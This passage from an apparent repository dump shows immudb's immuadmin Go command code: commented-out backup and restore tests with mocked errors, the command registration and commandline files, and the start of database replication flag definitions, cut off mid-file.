options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\n\tos.AbsF = absFOK\n\n\t// RemoveAll error\n\tremoveAllFOK := os.RemoveAllF\n\terrRemoveAll := \"RemoveAll error\"\n\tos.RemoveAllF = func(path string) error {\n\t\treturn errors.New(errRemoveAll)\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Empty(t, msg)\n\t}\n\tcollector.CaptureStderr = true\n\trequire.NoError(t, collector.Start())\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tbackupLog, err = collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Contains(t, backupLog, errRemoveAll)\n\tcollector.CaptureStderr = false\n\tos.RemoveAllF = removeAllFOK\n\n\t// Abs error again\n\tdeleteBackupFiles(dbDir)\n\terrAbs3 := \"Abs error 3\"\n\tnbAbsCalls = 0\n\tos.AbsF = func(path string) (string, error) {\n\t\tnbAbsCalls++\n\t\tif nbAbsCalls <= 2 {\n\t\t\treturn absFOK(path)\n\t\t}\n\t\treturn \"\", errors.New(errAbs3)\n\t}\n\tcollector.CaptureStderr = true\n\trequire.NoError(t, collector.Start())\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tbackupLog, err = collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Contains(t, backupLog, errAbs3)\n\tcollector.CaptureStderr = false\n\tos.AbsF = absFOK\n\n\t// canceled\n\tnokReadFromTerminalYNF := func(def string) (selected string, err error) {\n\t\treturn \"N\", nil\n\t}\n\ttermReaderMock.ReadFromTerminalYNF = nokReadFromTerminalYNF\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, \"Canceled\", msg.(error).Error())\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tcmd.SetArgs([]string{\n\t\t\"backup\",\n\t\tfmt.Sprintf(\"--dbdir=%s\", dbDir),\n\t\t\"--manual-stop-start\",\n\t})\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, \"Canceled\", msg.(error).Error())\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\ttermReaderMock.ReadFromTerminalYNF = okReadFromTerminalYNF\n\n\t// password read error\n\tcl = commandline{}\n\tcmd, _ = cl.NewCmd()\n\tcmd.SetArgs([]string{\n\t\t\"backup\",\n\t\tfmt.Sprintf(\"--dbdir=%s\", dbDir),\n\t})\n\tpwReadErr := errors.New(\"password read error\")\n\terrPwReadF := func(msg string) ([]byte, error) {\n\t\treturn nil, pwReadErr\n\t}\n\tpwReaderMock.ReadF = errPwReadF\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, pwReadErr, msg)\n\t}\n\tclb.backup(cmd)\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tpwReaderMock.ReadF = nil\n\n\t// login error\n\terrLogin := errors.New(\"login error\")\n\timmuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn nil, errLogin\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errLogin, msg)\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\timmuClientMock.LoginF = loginFOK\n\n\tcmd.SetArgs([]string{\n\t\t\"backup\",\n\t\tfmt.Sprintf(\"--dbdir=%s\", \".\"),\n\t})\n\texpectedErrMsg :=\n\t\t\"cannot backup the current directory, please specify a subdirectory, for example ./data\"\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, expectedErrMsg, msg.(error).Error())\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\n\t// dbdir not exists\n\tnotADir := dbDir + \"_not_a_dir\"\n\tcmd.SetArgs([]string{\n\t\t\"backup\",\n\t\tfmt.Sprintf(\"--dbdir=%s\", notADir),\n\t})\n\texpectedErrMsg =\n\t\t\"stat backup_test_db_dir_not_a_dir: no such file or directory\"\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, expectedErrMsg, msg.(error).Error())\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\n\t// dbdir not a dir\n\t_, err = stdos.Create(notADir)\n\trequire.NoError(t, err)\n\tdefer stdos.Remove(notADir)\n\texpectedErrMsg =\n\t\t\"backup_test_db_dir_not_a_dir is not a directory\"\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, expectedErrMsg, msg.(error).Error())\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\n\t// daemon stop error\n\tcmd.SetArgs([]string{\n\t\t\"backup\",\n\t\tfmt.Sprintf(\"--dbdir=%s\", dbDir),\n\t})\n\tdaemMock.StopF = func() (string, error) {\n\t\treturn \"\", errors.New(\"daemon stop error\")\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, \"error stopping immudb server: daemon stop error\", msg.(error).Error())\n\t}\n\tclb.backup(cmd)\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tdaemMock.StopF = nil\n\n\t// daemon start error\n\tdaemMock.StartF = func() (string, error) {\n\t\treturn \"\", errors.New(\"daemon start error\")\n\t}\n\tclb.onError = func(msg interface{}) {\n\t}\n\tclb.backup(cmd)\n\tcollector.CaptureStderr = true\n\trequire.NoError(t, collector.Start())\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tbackupLog, err = collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Contains(t, backupLog, \"error restarting immudb server: daemon start error\")\n\tdaemMock.StartF = nil\n\tcollector.CaptureStderr = false\n}\n\nfunc TestRestore(t *testing.T) {\n\tos := immuos.NewStandardOS()\n\tclb, err := newCommandlineBck(os)\n\trequire.NoError(t, err)\n\tclb.options = client.DefaultOptions()\n\n\tloginFOK := func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn &schema.LoginResponse{Token: \"token\"}, nil\n\t}\n\timmuClientMock := &clienttest.ImmuClientMock{\n\t\tLoginF: loginFOK,\n\t}\n\tclb.immuClient = immuClientMock\n\tclb.newImmuClient = func(*client.Options) (client.ImmuClient, error) {\n\t\treturn immuClientMock, nil\n\t}\n\timmuClientMock.DisconnectF = func() error {\n\t\treturn nil\n\t}\n\n\tpwReaderMock := &clienttest.PasswordReaderMock{}\n\tclb.passwordReader = pwReaderMock\n\tclb.context = context.Background()\n\n\thds := clienttest.DefaultHomedirServiceMock()\n\thds.FileExistsInUserHomeDirF = func(string) (bool, error) {\n\t\treturn true, nil\n\t}\n\tclb.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName(\"testTokenFile\")\n\n\tdaemMock := defaultDaemonMock()\n\tbckpr := &backupper{\n\t\tdaemon: daemMock,\n\t\tos:     os,\n\t\tcopier: fs.NewStandardCopier(),\n\t\ttarer:  fs.NewStandardTarer(),\n\t\tziper:  fs.NewStandardZiper(),\n\t}\n\tclb.Backupper = bckpr\n\n\tokReadFromTerminalYNF := func(def string) (selected string, err error) {\n\t\treturn \"Y\", nil\n\t}\n\ttermReaderMock := &clienttest.TerminalReaderMock{\n\t\tReadFromTerminalYNF: okReadFromTerminalYNF,\n\t}\n\tclb.TerminalReader = termReaderMock\n\n\tdbDirSrc := \"restore_test_db_dir_src_bkp_1\"\n\tdbDirDst := \"restore_test_db_dir_dst\"\n\tstdos.RemoveAll(dbDirSrc)\n\tstdos.RemoveAll(dbDirDst)\n\tdeleteBackupFiles(dbDirDst)\n\tdefer stdos.RemoveAll(dbDirSrc)\n\tdefer stdos.RemoveAll(dbDirDst)\n\tdefer deleteBackupFiles(dbDirDst)\n\trequire.NoError(t, stdos.Mkdir(dbDirSrc, 0755))\n\tioutil.WriteFile(filepath.Join(dbDirSrc, server.IDENTIFIER_FNAME), []byte(\"src\"), 0644)\n\trequire.NoError(t, stdos.Mkdir(dbDirDst, 0755))\n\tioutil.WriteFile(filepath.Join(dbDirDst, server.IDENTIFIER_FNAME), []byte(\"dst\"), 0644)\n\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Empty(t, msg.(error))\n\t}\n\n\tbackupFile := dbDirSrc + \".tar.gz\"\n\tstdos.Remove(backupFile)\n\trequire.NoError(t, bckpr.tarer.TarIt(dbDirSrc, backupFile))\n\tdefer stdos.Remove(backupFile)\n\n\tbackupFile2 := dbDirSrc + \".zip\"\n\tstdos.Remove(backupFile2)\n\trequire.NoError(t, bckpr.ziper.ZipIt(dbDirSrc, backupFile2, fs.ZipNoCompression))\n\tdefer stdos.Remove(backupFile2)\n\n\t// from .tar.gz\n\tcl := commandline{}\n\tcmd, _ := cl.NewCmd()\n\tcmd.SetArgs([]string{\n\t\t\"restore\",\n\t\tbackupFile,\n\t\tfmt.Sprintf(\"--dbdir=./%s\", dbDirDst),\n\t})\n\tclb.restore(cmd)\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tdeleteBackupFiles(dbDirDst)\n\n\t// from .zip\n\tcmd.SetArgs([]string{\n\t\t\"restore\",\n\t\tbackupFile2,\n\t\tfmt.Sprintf(\"--dbdir=./%s\", dbDirDst),\n\t})\n\tclb.restore(cmd)\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\n\t// stat error\n\tstatFOK := os.StatF\n\terrStat := errors.New(\"Stat error\")\n\tos.StatF = func(name string) (stdos.FileInfo, error) {\n\t\treturn nil, errStat\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errStat, msg)\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tos.StatF = statFOK\n\n\t// daemon stop error\n\tdaemMock.StopF = func() (string, error) {\n\t\treturn \"\", errors.New(\"daemon stop error\")\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Equal(t, \"error stopping immudb server: daemon stop error\", fmt.Sprintf(\"%v\", msg))\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\tdaemMock.StopF = nil\n\n\t// Rename errors\n\trenameFOK := os.RenameF\n\n\tos.RenameF = func(oldpath, newpath string) error {\n\t\treturn errors.New(\"Rename error 1\")\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Contains(t, msg.(error).Error(), \"Rename error 1\")\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\n\tnbCalls := 0\n\tos.RenameF = func(oldpath, newpath string) error {\n\t\tnbCalls++\n\t\tif nbCalls == 1 {\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.New(\"Rename error 2\")\n\t}\n\tclb.onError = func(msg interface{}) {\n\t\trequire.Contains(t, msg.(error).Error(), \"Rename error 2\")\n\t}\n\n\t// remove ConfigChain method to avoid override options\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\trequire.NoError(t, cmd.Execute())\n\n\tos.RenameF = renameFOK\n}\n\nfunc TestCommandlineBck_Register(t *testing.T) {\n\tc := commandlineBck{}\n\tcmd := c.Register(&cobra.Command{})\n\tassert.IsType(t, &cobra.Command{}, cmd)\n}\n\nfunc TestNewCommandLineBck(t *testing.T) {\n\tcml, err := newCommandlineBck(immuos.NewStandardOS())\n\tassert.IsType(t, &commandlineBck{}, cml)\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandlineBck_ConfigChain(t *testing.T) {\n\tcmd := &cobra.Command{}\n\tc := commandlineBck{\n\t\tcommandline: commandline{config: helper.Config{Name: \"test\"}},\n\t}\n\tf := func(cmd *cobra.Command, args []string) error {\n\t\treturn nil\n\t}\n\tcmd.Flags().StringVar(&c.config.CfgFn, \"config\", \"\", \"config file\")\n\tcc := c.ConfigChain(f)\n\terr := cc(cmd, []string{})\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandlineBck_ConfigChainErr(t *testing.T) {\n\tcmd := &cobra.Command{}\n\n\tc := commandlineBck{}\n\tf := func(cmd *cobra.Command, args []string) error {\n\t\treturn nil\n\t}\n\n\tcc := c.ConfigChain(f)\n\n\terr := cc(cmd, []string{})\n\tassert.Error(t, err)\n}\n*/\n"
  },
  {
    "path": "cmd/immuadmin/command/cmd.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"github.com/codenotary/immudb/cmd/docs/man\"\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/version\"\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc Execute() {\n\tif err := newCommand().Execute(); err != nil {\n\t\tc.QuitWithUserError(err)\n\t}\n}\n\nfunc newCommand() *cobra.Command {\n\tversion.App = \"immuadmin\"\n\t// register admin commands\n\tcml := NewCommandLine()\n\tcmd, err := cml.NewCmd()\n\tif err != nil {\n\t\tc.QuitToStdErr(err)\n\t}\n\n\tcmd = cml.Register(cmd)\n\t// register backup related commands\n\tos := immuos.NewStandardOS()\n\tclb, err := newCommandlineBck(os)\n\tif err != nil {\n\t\tc.QuitToStdErr(err)\n\t}\n\tcmd = clb.Register(cmd)\n\n\t// register hot backup related commands\n\tclhb, err := newCommandlineHotBck(os)\n\tif err != nil {\n\t\tc.QuitToStdErr(err)\n\t}\n\tcmd = clhb.Register(cmd)\n\n\tcmd.AddCommand(man.Generate(cmd, \"immuadmin\", \"./cmd/docs/man/\"+version.App))\n\tcmd.AddCommand(version.VersionCmd())\n\n\treturn cmd\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/cmd_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"testing\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestNewCmd(t *testing.T) {\n\tcmd := newCommand()\n\tassert.IsType(t, cobra.Command{}, *cmd)\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/commandline.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/spf13/cobra\"\n)\n\n// Commandline ...\ntype Commandline interface {\n\tuser(cmd *cobra.Command)\n\tlogin(cmd *cobra.Command)\n\tlogout(cmd *cobra.Command)\n\tstatus(cmd *cobra.Command)\n\tstats(cmd *cobra.Command)\n\tserverConfig(cmd *cobra.Command)\n\tdatabase(cmd *cobra.Command)\n\tConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error)\n}\n\n// CommandlineCli ...\ntype CommandlineCli interface {\n\tdisconnect(cmd *cobra.Command, args []string)\n\tconnect(cmd *cobra.Command, args []string) (err error)\n\tcheckLoggedIn(cmd *cobra.Command, args []string) (err error)\n\tcheckLoggedInAndConnect(cmd *cobra.Command, args []string) (err error)\n}\n\ntype commandline struct {\n\toptions        *client.Options\n\tconfig         c.Config\n\timmuClient     client.ImmuClient\n\tpasswordReader c.PasswordReader\n\tterminalReader c.TerminalReader\n\tcontext        context.Context\n\tts             tokenservice.TokenService\n\tonError        func(msg interface{})\n\tos             immuos.OS\n}\n\nfunc NewCommandLine() *commandline {\n\tcl := &commandline{}\n\tcl.config.Name = \"immuadmin\"\n\tcl.passwordReader = c.DefaultPasswordReader\n\tcl.terminalReader = c.NewTerminalReader(os.Stdin)\n\tcl.context = context.Background()\n\t//\n\treturn cl\n}\n\nfunc (cl *commandline) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) {\n\treturn func(cmd *cobra.Command, args []string) (err error) {\n\t\tif err = cl.config.LoadConfig(cmd); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// here all command line options and services need to be configured by options retrieved from viper\n\t\tcl.options = Options()\n\t\tcl.ts = tokenservice.NewFileTokenService().WithHds(homedir.NewHomedirService()).WithTokenFileName(cl.options.TokenFileName)\n\t\tif post != nil {\n\t\t\treturn post(cmd, args)\n\t\t}\n\t\treturn nil\n\t}\n}\n\nfunc (cl *commandline) Register(rootCmd *cobra.Command) *cobra.Command {\n\tcl.user(rootCmd)\n\tcl.login(rootCmd)\n\tcl.logout(rootCmd)\n\tcl.status(rootCmd)\n\tcl.stats(rootCmd)\n\tcl.serverConfig(rootCmd)\n\tcl.database(rootCmd)\n\n\treturn rootCmd\n}\n\nfunc (cl *commandline) quit(msg interface{}) {\n\tmsg = helper.UnwrapMessage(msg)\n\n\tif cl.onError == nil {\n\t\tc.QuitToStdErr(msg)\n\t}\n\tcl.onError(msg)\n}\n\nfunc (cl *commandline) disconnect(cmd *cobra.Command, args []string) {\n\tif err := cl.immuClient.Disconnect(); err != nil {\n\t\tcl.quit(err)\n\t}\n}\n\nfunc (cl *commandline) connect(cmd *cobra.Command, args []string) (err error) {\n\tif cl.immuClient, err = client.NewImmuClient(cl.options); err != nil {\n\t\tcl.quit(err)\n\t}\n\tcl.immuClient.WithTokenService(cl.ts)\n\treturn\n}\n\nfunc (cl *commandline) checkLoggedIn(cmd *cobra.Command, args []string) (err error) {\n\tpossiblyLoggedIn, err2 := cl.ts.IsTokenPresent()\n\tif err2 != nil {\n\t\tfmt.Println(\"error checking if token file exists:\", err2)\n\t} else if !possiblyLoggedIn {\n\t\terr = fmt.Errorf(\"please login first. If elevated privileges are required to execute requested action remember to execute login as super user. Eg. sudo login immudb\")\n\t\tcl.quit(err)\n\t}\n\treturn\n}\n\nfunc (cl *commandline) checkLoggedInAndConnect(cmd *cobra.Command, args []string) (err error) {\n\tif err = cl.checkLoggedIn(cmd, args); err != nil {\n\t\treturn err\n\t}\n\tif err = cl.connect(cmd, args); err != nil {\n\t\treturn err\n\t}\n\treturn\n}\n"
  },
  {
    "path": "cmd/immuadmin/command/commandline_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/stretchr/testify/assert\"\n\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc TestCommandline(t *testing.T) {\n\toptions := client.DefaultOptions()\n\n\timmuClient := &clienttest.ImmuClientMock{}\n\tpwr := &clienttest.PasswordReaderMock{}\n\thds := clienttest.DefaultHomedirServiceMock()\n\n\tcl := &commandline{\n\t\toptions:    options,\n\t\timmuClient: immuClient,\n\t\tnewImmuClient: func(*client.Options) (client.ImmuClient, error) {\n\t\t\treturn immuClient, nil\n\t\t},\n\t\tpasswordReader: pwr,\n\t\tcontext:        context.Background(),\n\t\tts:             tokenservice.NewTokenService().WithHds(hds).WithTokenFileName(\"testTokenFile\"),\n\t}\n\tcmd := &cobra.Command{}\n\n\terrDisconnect := errors.New(\"disconnect error\")\n\timmuClient.DisconnectF = func() error {\n\t\treturn errDisconnect\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errDisconnect, msg)\n\t}\n\tcl.disconnect(cmd, nil)\n\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Empty(t, msg)\n\t}\n\trequire.NoError(t, cl.connect(cmd, nil))\n\terrNewImmuClient := errors.New(\"error new immuclient\")\n\tokNewImuClientF := cl.newImmuClient\n\tcl.newImmuClient = func(*client.Options) (client.ImmuClient, error) {\n\t\treturn nil, errNewImmuClient\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errNewImmuClient, msg)\n\t}\n\tcl.connect(cmd, nil)\n\tcl.newImmuClient = okNewImuClientF\n\n\terrPleaseLogin := errors.New(\"please login first\")\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errPleaseLogin, msg)\n\t}\n\trequire.Equal(t, errPleaseLogin, cl.checkLoggedIn(cmd, nil))\n\terrFileExists := errors.New(\"error file exists in user home dir\")\n\tprevFileExists := hds.FileExistsInUserHomeDirF\n\thds.FileExistsInUserHomeDirF = func(pathToFile string) (bool, error) {\n\t\treturn false, errFileExists\n\t}\n\tcl.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName(\"testTokenFile\")\n\trequire.NoError(t, cl.checkLoggedIn(cmd, nil))\n\thds.FileExistsInUserHomeDirF = prevFileExists\n\tcl.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName(\"testTokenFile\")\n\n\trequire.Equal(t, errPleaseLogin, cl.checkLoggedInAndConnect(cmd, nil))\n\thds.FileExistsInUserHomeDirF = func(pathToFile string) (bool, error) {\n\t\treturn true, nil\n\t}\n\tcl.ts = tokenservice.NewTokenService().WithHds(hds).WithTokenFileName(\"testTokenFile\")\n\tcl.newImmuClient = func(*client.Options) (client.ImmuClient, error) {\n\t\treturn nil, errNewImmuClient\n\t}\n\tcl.onError = func(msg interface{}) {\n\t\trequire.Equal(t, errNewImmuClient, msg)\n\t}\n\trequire.Equal(t, errNewImmuClient, cl.checkLoggedInAndConnect(cmd, nil))\n}\n\nfunc TestCommandline_Register(t *testing.T) {\n\tc := commandline{}\n\tcmd := c.Register(&cobra.Command{})\n\tassert.IsType(t, &cobra.Command{}, cmd)\n}\n\nfunc TestNewCommandLine(t *testing.T) {\n\tcml := NewCommandLine()\n\tassert.IsType(t, &commandline{}, cml)\n}\n\nfunc TestCommandline_ConfigChain(t *testing.T) {\n\tcmd := &cobra.Command{}\n\tc := commandline{\n\t\tconfig: helper.Config{Name: \"test\"},\n\t}\n\tf := func(cmd *cobra.Command, args []string) error {\n\t\treturn nil\n\t}\n\tcmd.Flags().StringVar(&c.config.CfgFn, \"config\", \"\", \"config file\")\n\tcc := c.ConfigChain(f)\n\terr := cc(cmd, []string{})\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandline_ConfigChainErr(t *testing.T) {\n\tcmd := &cobra.Command{}\n\n\tc := commandline{}\n\tf := func(cmd *cobra.Command, args []string) error {\n\t\treturn nil\n\t}\n\n\tcc := c.ConfigChain(f)\n\n\terr := cc(cmd, []string{})\n\tassert.Error(t, err)\n}\n*/\n"
  },
  {
    "path": "cmd/immuadmin/command/database.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuadmin\n\nimport (\n\t\"encoding/csv\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/replication\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/pflag\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nfunc addDbUpdateFlags(c *cobra.Command) {\n\tc.Flags().Bool(\"exclude-commit-time\", false,\n\t\t\"do not include server-side timestamps in commit checksums, useful when reproducibility is a desired feature\")\n\tc.Flags().Bool(\"embedded-values\", false, \"store values in the tx header\")\n\tc.Flags().Bool(\"prealloc-files\", false, \"enable file preallocation\")\n\tc.Flags().Bool(\"replication-enabled\", false, \"set database as a replica\") // deprecated, use replication-is-replica instead\n\tc.Flags().Bool(\"replication-is-replica\", false, \"set database as a replica\")\n\tc.Flags().Bool(\"replication-sync-enabled\", false, \"enable synchronous replication\")\n\tc.Flags().Uint32(\"replication-sync-acks\", 0, \"set a minimum number of replica acknowledgements required before transactions can be committed\")\n\tc.Flags().String(\"replication-primary-database\", \"\", \"set primary database to be replicated\")\n\tc.Flags().String(\"replication-primary-host\", \"\", \"set primary database host\")\n\tc.Flags().Uint32(\"replication-primary-port\", 0, \"set primary database port\")\n\tc.Flags().String(\"replication-primary-username\", \"\", \"set username used for replication to connect to the primary database\")\n\tc.Flags().String(\"replication-primary-password\", \"\", \"set password used for replication to connect to the primary database\")\n\tc.Flags().Uint32(\"replication-prefetch-tx-buffer-size\", uint32(replication.DefaultPrefetchTxBufferSize), \"maximum number of prefeched transactions\")\n\tc.Flags().Uint32(\"replication-commit-concurrency\", uint32(replication.DefaultReplicationCommitConcurrency), \"number of concurrent replications\")\n\tc.Flags().Bool(\"replication-allow-tx-discarding\", replication.DefaultAllowTxDiscarding, \"allow precommitted transactions to be discarded if the replica diverges from the primary\")\n\tc.Flags().Bool(\"replication-skip-integrity-check\", replication.DefaultSkipIntegrityCheck, \"disable integrity check when reading data during replication\")\n\tc.Flags().Bool(\"replication-wait-for-indexing\", replication.DefaultWaitForIndexing, \"wait for indexing to be up to date during 